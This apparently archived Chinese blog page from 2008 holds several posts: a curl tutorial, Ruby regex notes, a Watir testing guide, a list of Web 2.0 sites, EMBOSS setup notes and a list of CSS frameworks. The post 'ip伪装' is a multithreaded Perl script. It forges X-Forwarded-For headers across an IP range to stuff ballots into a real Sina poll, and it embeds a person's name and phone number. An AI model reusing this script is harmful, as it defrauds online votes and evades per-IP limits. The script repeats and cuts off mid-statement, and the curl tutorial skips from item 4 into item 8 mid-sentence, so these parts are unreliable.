logoruby


Linux curl使用简单介绍

Posted in linux by wanguan2000 on the 12月 31st, 2008

Curl是Linux下一个很强大的http命令行工具,其功能十分强大。

1) 二话不说,先从这里开始吧!

$ curl http://www.linuxidc.com

回车之后,www.linuxidc.com 的html就稀里哗啦地显示在屏幕上了 ~

2) 嗯,要想把读过来页面存下来,是不是要这样呢?

$ curl http://www.linuxidc.com > page.html

当然可以,但不用这么麻烦的!

用curl的内置option就好,存下http的结果,用这个option: -o

$ curl -o page.html http://www.linuxidc.com

这样,你就可以看到屏幕上出现一个下载页面进度指示。等进展到100%,自然就 OK咯

3) 什么什么?!访问不到?肯定是你的proxy没有设定了。

使用curl的时候,用这个option可以指定http访问所使用的proxy服务器及其端口: -x

$ curl -x 123.45.67.89:1080 -o page.html http://www.linuxidc.com

4) 访问有些网站的时候比较讨厌,他使用cookie来记录session信息。

像IE/NN这样的浏览器,当然可以轻易处理cookie信息,但我们的curl呢?…..

我们来学习这个option: -D 下载后: 001-zzh.JPG 原来: ~nick/001.JPG —-> 下载后: 001-nick.JPG

这样一来,就不怕文件重名啦,呵呵
9)继续讲下载

我们平时在windows平台上,flashget这样的工具可以帮我们分块并行下载,还可以断线续传。curl在这些方面也不输给谁,嘿嘿

比如我们下载screen1.JPG中,突然掉线了,我们就可以这样开始续传

$ curl -c -O http://cgi2.tky.3wb.ne.jp/~zzh/screen1.JPG

当然,你不要拿个flashget下载了一半的文件来糊弄我 别的下载软件的半截文件可不一定能用哦 ~

分块下载,我们使用这个option就可以了: -r

举例说明

比如我们有一个http://cgi2.tky.3web.ne.jp/~zzh/zhao1.MP3 要下载(赵老师的电话朗诵 :D )我们就可以用这样的命令:

$ curl -r 0-10240 -o “zhao.part1″ http:/cgi2.tky.3web.ne.jp/~zzh/zhao1.MP3 &\

$ curl -r 10241-20480 -o “zhao.part1″ http:/cgi2.tky.3web.ne.jp/~zzh/zhao1.MP3 &\

$ curl -r 20481-40960 -o “zhao.part1″ http:/cgi2.tky.3web.ne.jp/~zzh/zhao1.MP3 &\

$ curl -r 40961- -o “zhao.part1″ http:/cgi2.tky.3web.ne.jp/~zzh/zhao1.MP3

这样就可以分块下载啦。不过你需要自己把这些破碎的文件合并起来如果你用UNIX或苹果,用 cat zhao.part* > zhao.MP3就可以如果用的是Windows,用copy /b 来解决吧,呵呵

上面讲的都是http协议的下载,其实ftp也一样可以用。用法嘛,

$ curl -u name:passwd ftp://ip:port/path/file

或者大家熟悉的

$ curl ftp://name:passwd@ip:port/path/file

10) 说完了下载,接下来自然该讲上传咯上传的option是 -T

比如我们向ftp传一个文件:

$ curl -T localfile -u name:passwd ftp://upload_site:port/path/

当然,向http服务器上传文件也可以比如

$ curl -T localfile http://cgi2.tky.3web.ne.jp/~zzh/abc.cgi

注意,这时候,使用的协议是HTTP的PUT method

刚才说到PUT,嘿嘿,自然让老服想起来了其他几种methos还没讲呢! GET和POST都不能忘哦。

http提交一个表单,比较常用的是POST模式和GET模式

GET模式什么option都不用,只需要把变量写在url里面就可以了比如:

$ curl http://www.linuxidc.com/login.cgi?user=nickwolfe&password=12345

而POST模式的option则是 -d

比如,

$ curl -d “user=nickwolfe&password=12345″ http://www.linuxidc.com/login.cgi

就相当于向这个站点发出一次登陆申请 ~

到底该用GET模式还是POST模式,要看对面服务器的程序设定。

一点需要注意的是,POST模式下的文件上的文件上传,比如

这样一个HTTP表单,我们要用curl进行模拟,就该是这样的语法:

$ curl -F upload=@localfile -F nick=go http://cgi2.tky.3web.ne.jp/~zzh/up_file.cgi

罗罗嗦嗦讲了这么多,其实curl还有很多很多技巧和用法比如 https的时候使用本地证书,就可以这样

$ curl -E localcert.pem https://remote_server

再比如,你还可以用curl通过dict协议去查字典 ~

$ curl dict://dict.org/d:computer

lynx -dump 得到文本模式

html2text html 转到文本
HTMLDOC 转成pdf

评论关闭

ruby奇怪的问题

Posted in ruby by wanguan2000 on the 12月 30th, 2008

[code="ruby"]a=[2,3,4,5,12,31,45,7,8,2,345,567,85,234,56,77,89,135,653]

b= Array.new
b[0]= a[0]

(1..a.length-1).each{|weizhi|

number = 0
b.each{|mei|
if (mei.to_i - a[weizhi].to_i).abs > 20
number += 1
end
}

if number == b.length
b << a[weizhi]

end
}

puts b
[/code]

为什么输出b:
2
31
45
345
567
85
234
77
89
135
653
为什么会有31,45 和77,89呢?他们之间的绝对差小于20阿

我就是要安装a数组的顺序,筛选出他们任意之间的绝对差都大于20的

 

哈哈哈刚刚写错了,现在好了
这样写结果更好:

a = [2,3,4,5,12,31,45,7,8,2,345,567,85,234,56,77,89,135,653]
b= [a[0]]
a.each do |aElem|
failed = false
b.each do |bElem|
unless (bElem - aElem).abs > 20
failed = true
break
end
end
b << aElem unless failed
end

puts b

ruby 正在表达式传递参数

Posted in ruby by wanguan2000 on the 12月 26th, 2008

a = “abcd”
name = Regexp.new(”f”)

puts “ok” if a =~ name

正则表达式历史悠久,功能强大,现代编程语言中少不了它的影子,但功能强度不大一样。Ruby把正则表达式在自身发挥的淋漓尽致 。

刚学习正则表达式,看起来会觉得语法比较晦涩,等上手了呢,就会明白它的精髓。在这里,也不细讲正则表达式的语法问题了,只讲它在ruby中的使用。在ruby中,一个通常的正则表达式会是例如如下样子的:

/Ruby/

/[Rr]uby/

%r{xyz$}

%|[0-9]*|

等等…

而在ruby中,正则表达式有4种修饰符:

i       忽略大小写

o     只执行一次替换操作

m    多行匹配

x      使用扩展了的正则表达式语法(可以使用正则表达式的注释之类)

编译正则表达式
=========================================
可以使用Regexp.compile方法(和使用Regexp.new是一样的效果)来编译正则表达式。

Regexp.compile方法的第一个参数可以是一个字符串或则是一个正则表达式
(如果是一个正则表达式,并且它后面带了选项,则编译后,选项将不会出现在新的正则表达式中。)
p1 = Regexp.compile(”^foo.*”)   # 结果: /^foo.*/
p2 = Regexp.compile(/bar$/i)    # 结果:/bar/

如果要设置第二个参数,那么它的值可以是以下几个:
Regexp::EXTENDED
Regexp::IGNORECASE
Regexp::MULTILINE

例如:
p3 = Regexp.compile(/bar/, Regexp::IGNORECASE)

好像报错了:

name = Regexp.compile(’F', Regexp::IGNORECASE)

这样就可以了

你如果你想同时使用他们之中的多个,则可以这样:
options = Regexp::MULTILINE || Regexp::IGNORECASE
pat4 = Regexp.compile(”^foo”, options)

它的第三个参数,是用来设置语言编码的,可以有如下值:
“N” or “n” #表示 None
“E” or “e” #表示 EUC
“S” or “s” #表示 Shift-JIS
“U” or “u” #表示 UTF-8

也可以直接使用正则表达式字面量,不用使用Regexp.compile方法或Regexp.new方法:
p1 = /^foo.*/
p2 = /bar$/i

转义正则表达式中的特殊字符
===========================================
使用Regexp.escape方法(别名方法是Regexp.quote),可以吧正则表达式中的特殊字符统统转义:
str1 = “[*?]”
str2 = Regexp.escape(str1)    # “\[\*\?\]”

访问正则表达式匹配后的数据引用
===========================================
在正则表达式中用使用括号的部分将被作为子匹配,有几中方式可以用来获取他们的引用:
1.比较“难看”方式:
使用特殊的全局变量,如:$1,$2….
str = “a123b45c678″
if /(a\d+)(b\d+)(c\d+)/ =~ str
puts “Matches are: ‘#$1′, ‘#$2′, ‘#$3′”      # 打印: Matches are: ‘a123′, ‘b45′, ‘c768′
end

我们来看下下面这段程序:
str = “a123b45c678″
str.sub(/(a\d+)(b\d+)(c\d+)/, “1st=#$1, 2nd=#$2, 3rd=#$3″)
# 结果: “1st=, 2nd=, 3rd=”

为什么会结果是空呢?其实,上面的程序等同与下面的程序:
str = “a123b45c678″
s2 = “1st=#$1, 2nd=#$2, 3rd=#$3″
reg = /(a\d+)(b\d+)(c\d+)/
str.sub(reg,s2)
# 结果: “1st=, 2nd=, 3rd=”

看明白了吧。
在这种情况下,我们要使用类似:\1,\2…之类的形式来引用了。
str = “a123b45c678″
str.sub(/(a\d+)(b\d+)(c\d+)/, ‘1st=\1, 2nd=\2, 3rd=\3′)
#注意,要使用单引号,否则会被解释成转义字符,如果用双引号,则要把斜杠转义掉,如:\\1,\\2
# 结果:”1st=a123, 2nd=b45, 3rd=c768″

我们还可以使用Ruby的block来实现上面的功能:
str = “a123b45c678″
str.sub(/(a\d+)(b\d+)(c\d+)/)  { “1st=#$1, 2nd=#$2, 3rd=#$3″ }
# 结果: “1st=a123, 2nd=b45, 3rd=c678″

如果你想在匹配的时候跳过一个组的抓取,则可以使用(?: )语法:
str = “a123b45c678″
str.sub(/(a\d+)(?:b\d+)(c\d+)/, “1st=\\1, 2nd=\\2, 3rd=\\3″)
# 结果:”1st=a123, 2nd=c678, 3rd=”

以上的方式看起来很方便,不过,有的人会觉得它们看起来太杂乱,不好看,所以,还有以下方式来获取子匹配的引用:
pat = /(.+[aiu])(.+[aiu])(.+[aiu])(.+[aiu])/i
refs = pat.match(”Fujiyama”)

refs.to_a.each do |x|
print “#{x}\n”
end

match方法将返回一个MatchData对象。

MatchData有begin和end两个方法,用来获取匹配结果在原字符串中的起始和结束位置
str = “alpha beta gamma delta epsilon”
pat = /(b[^ ]+ )(g[^ ]+ )(d[^ ]+ )/

refs = pat.match(str)

# “beta ”
p1 = refs.begin(1)         # 6
p2 = refs.end(1)           # 11

# “gamma ”
p3 = refs.begin(2)         # 11
p4 = refs.end(2)           # 17

# “delta ”
p5 = refs.begin(3)         # 17
p6 = refs.end(3)           # 23

# “beta gamma delta”
p7 = refs.begin(0)         # 6
p8 = refs.end(0)           # 23

和begin,end方法相似的是offset方法,它返回一个数组,包括了匹配的起始和结束位置:
range0 = refs.offset(0)    # [6,23]
range1 = refs.offset(1)    # [6,11]
range2 = refs.offset(2)    # [11,17]
range3 = refs.offset(3)    # [17,23]

还有两个方法,pre_match和post_match,用来获取当前匹配结果的前一个和后一个匹配结果:
before = refs.pre_match    # “alpha ”
after  = refs.post_match   # “epsilon”

评论关闭

web2.0

Posted in web by wanguan2000 on the 12月 26th, 2008

接近年末了,很多博客也开始了年末总结。这篇日志中列出的是在过去的一年中,世界上使用人数最多的书签网站Delicious(中文又称美味书签)上收藏次数最多的25个网站。这些网站都是非常受欢迎的新奇应用或者是一些非常实用的工具。

1、wordle (超过18668人收藏)
wordle

Wordle是一个可以将用户输入的单词列表制作成各式各样排列图案的在线应用,如上图,生成的排列图案真的很好看,而这仅仅是其中的一种样式喔。需要Java支持,不支持中文。国内用户不能直接访问。

2、cuil (超过9732人收藏)

这个号称世界上最大的搜索引擎,自称收藏了3倍于Google搜索10倍于Live搜索的网页数量。可惜,这个“世界上最大的搜索引擎”却不支持包括中文在内的非拉丁字符。忽略了1/5以上的地球人,便无最大可言。

3、fontstruct (超过9377人收藏)

有没有想过要自己设计属于自己的字体?这个网站可以帮您实现这个愿望。我们曾经对这个网站有过介绍,您可以查看:FontStruct:像徐静蕾一样拥有你的专属字体

4、life-photo-archive (超过8091人收藏)

《LIFE》是名震摄影史的知名图片杂志,后期因故停刊。这次Google整理发表这批照片本质上是与《LIFE》合作,从《LIFE》图片储备中挖掘历 史遗迹。这些照片分为六大类,分别是:人物/People,地点/Place,事件/Events,运动/Sports 还有 文化/Culture。趣站酷软介绍过这个网站,详见:Google历史存档照片,从1750年到今天

5、muxtape (超过7133人收藏)

muxtape是一个允许用户上传音乐并制作个人专辑的网站,每个用户都可以拥有一个自定义的二级域名,上传后的音乐制作的专辑还有卡带样式的播放器样式,所以在短期之内收到很多用户的欢迎。不过目前这个网站已经因为版权问题被关闭了。

6、downforeveryoneorjustme (超过6355人收藏)

用来检测某个网站是否挂了的在线服务,在中国有了另一重妙用——检测某个网站是否已经被GFW了。简介的操作界面,简单的使用方法,实用的功能,这使的这 个网站大受欢迎。可惜的是,目前在国内也无法访问这个网站。It is down for everyone who live in China now!

7、patterntap (超过6191人收藏)

这是一个收集各种网页设计的网站,与其他收集网页设计的网站不同,Pattertap收藏的是一个网站中的各种功能的页面样式,比如说404页面、联系表单页面、边框样式、按钮样式、播放器样式等等,对于从事网页设计或者对网页设计感兴趣的朋友来说这是一个不错的网站。

8、friendfeed (超过6063人收藏)

image

RSS Feed聚合社会化网络社区,可以让用户导入自己所使用的各种各样的RSS Feed,而通过这个平台与朋友互动,还可以了解到朋友在各个社会化网络服务的活动。FriendFeed于今年的12月份释出了包括中文在内的其它6个语言版本

9、taggalaxy (超过5582人收藏)

Tag_Galaxy

您是否尝试过像在九大行星上看照片?这个网站能按照该您搜索的标签/tag在Flickr上搜索到相应的照片,然后展示在九大行星上,非常动感。

10、goosh (超过5559人收藏)

基于Google搜索结果却非Google官方推出的通过命令行执行搜索的网站,与Linux的命令行操作类似,适合于命令行爱好者把玩。

11、stack-overflow (超过5412人收藏)

带有社交网络性质的程序员交流地,主要关注编程和程序研究工作。用户无需注册即可在上面提出问题或回答问题,其“顶埋机制”让一些有用的回答更容易被用户发现。

12、usernamecheck (超过5200人收藏)

一个可以检测您的用户名在比较流行的社交网络社区以及Web2.0服务中是否已经被注册的好工具。趣站酷软曾经介绍过:检查流行的Web2.0服务中您的ID是否可用

13、280-slides (超过5064人收藏)

可以在线制作幻灯片,并保存在这个网站上,也可以上传PowerPoint制作的幻灯片,这样,您便可以在世界任何能接通网络的地方使用这些幻灯片。详细介绍请看:在线制作存储PPT演示文档[280slides]

14、filedropper (超过4810人收藏)

来自美国的非常好用的网络硬盘,无需注册用户,支持最大为5G的单个文件。比较适合短期内的大文件分享使用。

15、compfight (超过4616人收藏)

compfight

一个Flickr搜索工具,搜索结果中不含除图片之外的任何其他附加信息,用户可以通过标签或者完整的说明来搜索,还可以过滤创作共用或商业图片、安全搜索、用鼠标调整图片大小等。

16、google-insights-for-search (超过4564人收藏)

“Google Insights for search”为搜索引擎Google推出的免费工具,用以用户帮助掌握市场需求变化和趋势,可依其全球搜索资料库,提供关键词的长期趋势、不同关键词比较、季节性分析、地区分析等4项关键词进阶分析比较功能。

17、alltop (超过4424人收藏)

一个简单的新闻聚合,输出全球各个领域中的顶级网站或博客的最新新闻、教程和文章,涵盖了工作、生活、文化、奇趣资讯、科技、人物、商品、新闻、地理和体育这几个方面。用户可以选择自己喜欢的主题进行进入主题列表。

18、ubiquity (超过4189人收藏)

ubiquity_side

由Mozilla实验室开发的一个基于浏览器的命令行工具,根据浏览器使用者的命令来返回相对应的界面,让开发者做一些通用的web任务更加快速和简单。详细的介绍推荐异尘行者的Ubiquity 瀏覽器混搭網路應用工具,Firefox上的萬能快捷列(實測篇)

19、csstypeset (超过3935人收藏)

CSSTypeSet是一款非常适合对CSS不熟悉的朋友的在线工具,使用这个工具可以轻松的写出具备字体、文本颜色大小位置、字符间距、单词间距等属性的CSS样式。趣站酷软曾经介绍过这个网站,不过目前国内用户无法直接访问。

20、sproutbuilder (超过3798人收藏)

一款在线Flash Widget制作工具,基于Adobe Flex技术且界面酷似Photoshop。用户可通过鼠标直接拖拽在面板和舞台中放置各种小部件(时钟、表格、插画)、第三方应用程序(Meebo, Yahoo Maps, PollDaddy , Ribbit)以及用来方便跟踪外部网站(RSS, Delicious, Twitter)的Widget。

21、pixlr (超过3764人收藏)

在线图片加工处理工具,酷似Photoshop,功能强大。

22、yearbookyourself (超过3759人收藏)

一个能把自己的头像和几年前几十年前的人的头像混烧,看看把自己放在那个年代是怎样一种形象的在线工具。

23、google-app-engine (超过3721人收藏)

appengine_lowres.jpg Google App Engine 让您可以在 Google 的基础架构上运行您的网络应用程序。Google App Engine 应用程序易于构建和维护,并可根据您的访问量和数据存储需要的增长轻松扩展。使用 Google App Engine,将不再需要维护服务器:您只需上传您的应用程序,它便可立即为您的用户提供服务。详细介绍见Google App Engine官方中文介绍

24、photoshoplady (超过3648人收藏)

一个专注于收集全世界各地最好的Photoshop教程的网站,每天都进行更新。教程分类包括3D特效,抽象特效,拉伸特效,图片特效,文字特效,纹理和 用户界面设计等等。每一个教程都是百里挑一,可谓精美绝伦,如果你喜欢PhotpShop或者你正在从事相关的工作,那么这个网站一定不可以错过。

25、letmegooglethatforyou (超过3645人收藏)

一个可以在帮他人查找资料的同时启发对方如何利用Google搜索的网站。

评论关闭

watir

Posted in ruby by wanguan2000 on the 12月 23rd, 2008

开发测试案例(Developing Test Cases)
1.打开编辑器
2.以.rb为你的文件扩展名
3.在测试文件的第一句写上“require ‘watir’”,确保可以访问Watir工具。
4.打开浏览器并转到要测试的应用
5.与之交互并设计你的testcase
6.在测试脚本中使用Watir方法
7.验证结果

与网页交互(Interacting With a Web Page)
当使用Watir开发测试脚本的时候,通过给网页上的对象发送消息来与之交互。

ie.text_field(:name , “q”).set(”bluescorpio”)
ie.button(:value , “Click Me”).click

Watir语法(Watir Syntax)
1.使用Watir工具,需要在脚本中加上
require ‘watir’

2.创建一个IE的测试实例
ie = Watir::IE.new
或者在创建的同时直接转到页面
ie = Watir::IE.start(”http://mytestsite”;)
Watir使用start方法同时创建一个浏览器实例并转到一个页面。

3.页面导航
ie.goto(”http://mytestsite”;)

4.操纵Web页面对象
4.1超链接
4.1.1使用Text属性点击超链接
ie.link(:text , “Pickaxe”).click
对应的HTML代码为:
Pickaxe
4.1.2使用URL属性点击超链接
ie.link(:url , “http://pragmaticprogrammer.com/titles/ruby/”;).click
对应的HTML代码为:
Test Site

4.2复选框
4.2.1使用name属性设置复选框
ie.checkbox(:name, “checkme”).set
4.2.2使用name属性清除复选框
ie.checkbox(:name, “checkme”).clear
4.2.3使用name和value属性设置复选框
ie.checkbox(:name, “checkme”, “1″).set
4.2.4使用name和value属性清除复选框
ie.checkbox(:name, “checkme”, “1″).clear
对应的HTML代码为:

4.3单选框
4.3.1使用name属性设置单选框
ie.radio(:name, “clickme”).set
4.3.2使用name属性清除单选框
ie.radio(:name, “clickme”).clear
4.3.3使用name和id属性设置单选框
ie.radio(:name, “clickme”, “1″).set
4.3.4使用name和id属性清除单选框
ie.radio(:name, “clickme”, “1″).clear
对应的HTML代码为:

4.4下拉框
4.4.1使用name属性和值来设置下拉框
ie.select_list( :name , “selectme”).select(”is fun”)
4.4.2使用name属性和值来清除下拉框
ie.select_list( :name , “selectme”).clearSelection
对应的HTML代码为:
Web Testing in Ruby is fun

4.5在Web页面中输入数据

4.5.1使用文本输入框的那么属性设置输入内容
ie.text_field(:name, “typeinme”).set(”Watir World”)
4.5.2清空文本输入框
ie.text_field(:name, “typeinme”).clear
对应的HTML代码为:

4.6从Web页面上提交数据
4.6.1按钮
4.6.1.1通过值或标题属性点击按钮
ie.button(:value, “Click Me”).click
4.6.1.2通过name属性点击按钮
ie.button(:name, “clickme”).click

对应的HTML代码为:

4.6.2表单
4.6.2.1表单中的按钮
使用value或标题属性
ie.button(:value, “Submit”).click
对应的HTML代码为:

4.6.2.2表单中的图片按钮
使用那么属性
ie.button(:name, “doit”).click
对应的HTML代码为:

4.6.2.3没有按钮的表单
Watir can submit a form by identifying it by its name, action and method attributes.
可以通过name、action以及method属性来提交表单
ie.form(:name, “loginform”).submit
ie.form(:action, “login”).submit
对应的HTML代码为:

4.6.3框架
ie.show_frames可以打印出当前页面框架的数量和名称
Watir允许通过名称属性来访问框架,如ie.frame(”menu”)
如果要访问menu框架中的一个超链接,可以ie.frame(”menu”).link(:text, “Click Menu Item”).click

4.6.4嵌套框架
ie.frame(”frame1″).frame(:name, “nested_frame”)

4.6.5新窗口
一些Web应用会弹出新窗口或打开一个新窗口,可以使用attach方法来访问并控制新窗口。通过标示新窗口的URL或者title来访问。
ie2 = Watir::IE.attach(:url, ‘http://mytestsite’)
ie3 = Watir::IE.attach(:title, ‘Test New Window’)
也可以使用正则表达式
ie4 = Watir::IE.attach(:title, /Test New/)
注意:不要把新窗口分配到你的ie变量,最好给新窗口一个不同的名字

5.验证结果
比较好的方法是在测试案例中假如验证点
5.1对象存在
使用Watir方法contains_text
ie.contains_text(”Reached test verification point.”)

if ie.contains_text(”Reached test verification point.”)
puts: “Test passed. Page contains the text: Reached test verification point.”
else
puts: “Test failed! Page didn’t contain text: Reached test verification point.”
end

5.2使用test::unit Assertions
5.2.1需要test::unit
require ‘test/unit’

5.2.2创建测试实例
class TC_myTest < Test::Unit::TestCase
…fill in Test Case methods here…
end

5.2.3创建测试用例方法
在测试类中,需要声明象下面的方法:
def test_myTestCase
fill in method body with Watir code and assertion here
end

方法必须以test开头,ruby会随机运行测试案例,如果需要顺序执行,需要在test后加上字母或数字来强迫它顺序执行,比如“test_a_mytest”

定义测试方法的类:
class TC_myTest < Test::Unit::TestCase
def test_ myTestCase
Watir code and assertion here…
end
def test_anotherTestCase
Watir code and assertion here…
end
def test_aTestCase
Watir code and assertion here…
end
end

5.2.4使用Assertions
Watir通过在一个asert覆写Watir方法支持assertions。
assert(ie.contains_text(”Reached test verification point.”)

5.2.5Setup and Teardown
def setup
fill in code that will run before every test case here…
end
def teardown
fill in code that will run after every test case here…
end

6.Tips and Tricks
Running Tests With the Browser Not Visible
Run the tests with a “-b” option if you don’t want the browser to be visible. ex. myTest.rb -b

评论关闭

ip伪装

Posted in rails, ruby by wanguan2000 on the 12月 18th, 2008

#!/usr/bin/perl -w

use threads;
use threads::shared;
$| = 1;
my $MAX_THREAD_NUMBER = 20;
my $thread_number = 0;
share($thread_number);
sub vote {
my $ip = shift;
use LWP::UserAgent;
$ua = LWP::UserAgent->new;
$ua->agent("MSIE");
my $res = $ua->post(
'http://ad.gd.sina.com.cn/VoteSys/vote.php?id=484',
{'ITEM1_1' => '加拿大',
'ITEM2_1'=> '广州,重庆,澳门,上海',
'ITEM3_1'=> '3',
'ITEM4_1'=> '摇滚精灵',
'ITEM5_1'=> '没有',
'ITEM6_1'=> '美丽坏东西',
'ITEM7_1'=> '13802427651',
'ITEM8_1'=> '张静',
'VoteID'=>'484'
},
'X-Forwarded-For'=> $ip,
);
# Check the outcome of the response
my $output = "$ip ";
if ($res->is_success) {
print $res->content;
}
else {
print $res->status_line, "\n";
}

{
lock($thread_number);
$thread_number--;
}
}

sub create_thread {
my $ip = shift;

while ( 1 ) {
{
lock($thread_number);
if ( $thread_number create(\&vote, $ip)->detach();
return;
}
}
sleep(1);
}
}

for($j=110;$j<255;$j++)
{
for ($i=1;$inew;
$ua->agent("MSIE");
my $res = $ua->post(
'http://ad.gd.sina.com.cn/VoteSys/vote.php?id=484',
{'ITEM1_1' => '加拿大',
'ITEM2_1'=> '广州,重庆,澳门,上海',
'ITEM3_1'=> '3',
'ITEM4_1'=> '摇滚精灵',
'ITEM5_1'=> '没有',
'ITEM6_1'=> '美丽坏东西',
'ITEM7_1'=> '13802427651',
'ITEM8_1'=> '张静',
'VoteID'=>'484'
},
'X-Forwarded-For'=> $ip,
);
# Check the outcome of the response
my $output = "$ip ";
if ($res->is_success) {
print $res->content;
}
else {
print $res->status_line, "\n";
}

{
lock($thread_number);
$thread_number--;
}
}

sub create_thread {
my $ip = shift;

while ( 1 ) {
{
lock($thread_number);
if ( $thread_number create(\&vote, $ip)->detach();
return;
}
}
sleep(1);
}
}

for($j=110;$j<255;$j++)
{
for ($i=1;$i<255;$i++) {
my $ip = "202.109.$j.$i";

create_thread($ip);
}
}

评论关闭

Getting EMBOSS applications working with databases on Bio-Linux

Posted in bioinformatics by wanguan2000 on the 12月 15th, 2008

Searching remote databases using seqret

The program seqret is very verstaile and can be used to retrieve sequences from local or remote databases using a variety of different mechanisms, and can also be used to reformat sequences, or dissemble multiple sequence files.

This outlines how to configure your EMBOSS installation to search remote databases on Bio-Linux on a system-wide basis.

For information on other aspects of database configuration and indexing under EMBOSS, please see the official EMBOSS documentation.

*
Step 1: Set the EMBOSSRC environmental variable.

The easiest way to do this is to unhash the line in /usr/software/bioenvrc that defines the location of the emboss.default file.

*
Step 2:Configure your emboss.default file to retrieve sequences from the remote databases you are interested in.

A standard emboss.default file that includes access to some commonly accessed databases is included in recent Bio-Linux images (after April 19, 2004).
You can use the updateclient command to update this file, or you can download a copy and put it in the location defined by your EMBOSSRC environmental variable.

You, and any users system-wide, can now search and retrieve sequences from any of the databases listed in the emboss.default file.

*
Example commands that can be run using the Bio-Linux standard emboss.default file

Retrieve the sequence from swissprot with the accession number p01270

seqret -sequence swissprot:p01270 -outseq test.tfa

By default, a command like that above will return the sequence you requested in fasta format. You can request a file be returned in a different format by including the -osformat flag and the format you want.

Retrieve the embl file with accession number x52524 in embl format

seqret -sequence embl:x52524 -outseq test.embl -osformat embl

The default emboss.default file distributed with Bio-Linux causes sequences retrieved in native embl format to include the sequence version, the id, the keywords, and the organism as well as the sequence information.

By including the -feature flag, you can also retrieve the feature information:

seqret -sequence embl:x52524 -outseq test.embl -osformat embl -feature

Retrieve sequences with similar id’s using a wild card

seqret -sequence ‘uniprot:p0172*’ -outseq stdout

returns all sequences from UniProt that have accession numbers starting with p0172. Please note that you MUST have the quotes around ‘uniprot:p0172*’ in order for this command to work.

More usefully, you could use a foreach loop to fetch all the sequences who’s id’s are listed in a file. If you require more information on how to do this, please contact us.

To get the full benefit of the database facilties available through EMBOSS, please read the official documentation.

*
Notes on the Bio-Linux default emboss.default file

We have configured the following (remote) databases in the emboss.default file available for Bio-Linux:

Nucleotide:
EMBL
GenBank

Nucleotide related:
RefSeq

Peptide:
Uniprot
Swissprot
Trembl

Getting rebase, a restriction enzyme database

To use the program remap the rebase database must be on your system, you must run the EMBOSS program rebaseextract after downloading/updating the database.

Bio-Linux images dated after April 19, 2004 contain a copy of rebase already formatted for use witih EMBOSS programs. (i.e. you can use remap without downloading or configuring anything). However, we cannot guarantee that the copy of rebase on your system is the most up to date version and encourage you to follow the instructions below to update the rebase database files you require. The copy of rebase that comes with Bio-Linux can be found in /home/db/rebase.

Rebase can be obtained from the rebase ftp site at the EBI. The files you need are withrefm.xxx and proto.xxx, where the xxx represents the number of the current release.

Ideally you will want to make this database available to all users of your system, in which case, put the files in a location accessible to everyone who uses the machine. E.g. you could make a directory called /home/db/rebase and put the files in there. (Note: you will have to log on as a user that has permission to write to the /home/db area or use sudo as manager)

There are many ways to download the files you need, but a fast way would be to run a command such as those following, from a directory you have write permission to:

wget ftp://ftp.ebi.ac.uk/pub/databases/rebase/withrefm.xxx.Z

wget ftp://ftp.ebi.ac.uk/pub/databases/rebase/proto.xxx.Z

Unzip the two files:
gunzip withrefm.xxx.Z
gunzip withrefm.xxx.Z

You can now run the rebaseextract command. This will ask you for the full path to the withrefm file and the proto file. In the above example, you would type:

/home/db/rebase/withrefm.xxx

and

/home/db/rebase/proto.xxx

in response to the program prompts.

评论关闭

在线音乐

Posted in music by wanguan2000 on the 12月 10th, 2008

http://www.songtaste.com/

评论关闭

精选15个国外CSS框架

Posted in css by wanguan2000 on the 12月 10th, 2008

框架就是一个你可以用于你的网站项目的基本的概念上的结构体。 css框架通常只是一些css文件的集合,这些文件包括基本布局、表单样式、网格或简单结构、以及样式重置。比如:

* typography.css 基本排版规则
* grid.css 基于网格的布局
* layout.css 通常的布局
* form.css for 表单样式
* general.css 更多通用规则

您还可以参考以下前端开发/CSS相关资源:

《推荐12款可用于前端开发的免费文本编辑器》
《Web前端开发必备手册下载》
《推荐20个让你学习并精通CSS的网站》
《300+Jquery, CSS, MooTools 和 JS的导航菜单资源》

下面一起来了解一下各种不同的CSS框架吧:
1.960 Grid System
CSS-框架-960

960网格系统是一个通过提供通常使用的尺寸简化网站开发流程的努力的结果,基于960像素的页面宽度。它有两种类型,12和16列,他们可以独立使用或是协同使用。

2.WYMstyle CSS Framework
CSS-框架-WYMstyle

这个项目的目的是提供一组经过良好测试的模块化的CSS文件,能够用于网站的快速设计。WYMstyle是一组CSS文件,你可以很容易的组合这些文件来快速的创建你的网站的布局。通过提供可靠的、经过良好测试的CSS模块,WYMstyle 力求让每个网站防止枯燥的跨浏览器兼容性测试。
3.YAML CSS Framework
CSS-框架-YAML

Dirk Jesse的强大的(X)HTML/CSS框架为许多的简单或更复杂的网站项目提供完整的默认模板包。YAML基于网页标准并支持所有现代浏览器。所有的 Internet Explorer的主要渲染漏洞都被解决。YAML 完全支持从5.x到7.0的所有的IE版本。
4.YUI Grids CSS
CSS-框架-YUI

基本的YUI网格CSS提供4种预设的页宽、6种预设模板和再分为2、3、4卷的区块的功能。 这个4KB的文件可提供超过1000中页面布局组合。

有国外作者曾指出YUI Grids CSS中最值得学习的网格布局CSS写法:

* 负Margin技术
* 使用度量单位em
* 清除布局的浮动

5.Logicss Framework
CSS-框架-logicss

Logic CSS 框架是用来减少开发符合web标准的xHTML布局的时间的一个由CSS文件和PHP程序组成的集合。通常跨浏览器表现行为(不是Meyer的reset 文件或是用“*”),排版支持文本字体大小调整(使用EMs) 和垂直居中,符合可定义的灵活的布局网格利用css代码生成工具。

6.CleverCSS
国外-CSS-框架

CleverCSS是一个用于css的受Python启发的小型的标记语言,它可用于以整洁的和结构化的方式创建一个样式表。在很多方面它都比CSS2整洁和强大。与CSS最明显的区别是句法:它基于缩进而且不单调。虽然这显然违反了Python的规则,它依然是组织样式的很好的主意。

7.Elements CSS Frameworks
CSS-框架-elements

Elements 是一个实用的CSS框架。它是为了帮助设计师更快更高效的来写CSS而建立。Elements 已经超越了仅仅作为一个框架,它有自己的项目工作流。它拥有你完成项目所需的所有东西,这也让你和你的浏览者感到愉悦。阅读 概述 了解更多。

8.Blueprint CSS
CSS-框架-blueprint

Blueprint 是一个 CSS 框架,它的目的是减少你的css开发时间。它提供一个可靠的css基础去创建你的项目,BP由一个易用的网格、合理的布局和一个打印样式。

9.Schema Web Design Framework
CSS-框架-schema

  Schema 是一个为了提供在重复的设计任务中必须的CSS和HTML标签而设计的表现层的网页框架设计。 与为每一个新的网站项目从零开始创建HTMl/CSS不同,Schema提供必要的基础来开始并立马让你的设计跑起来。

10.Emastic CSS Framework
CSS-框架-emastic

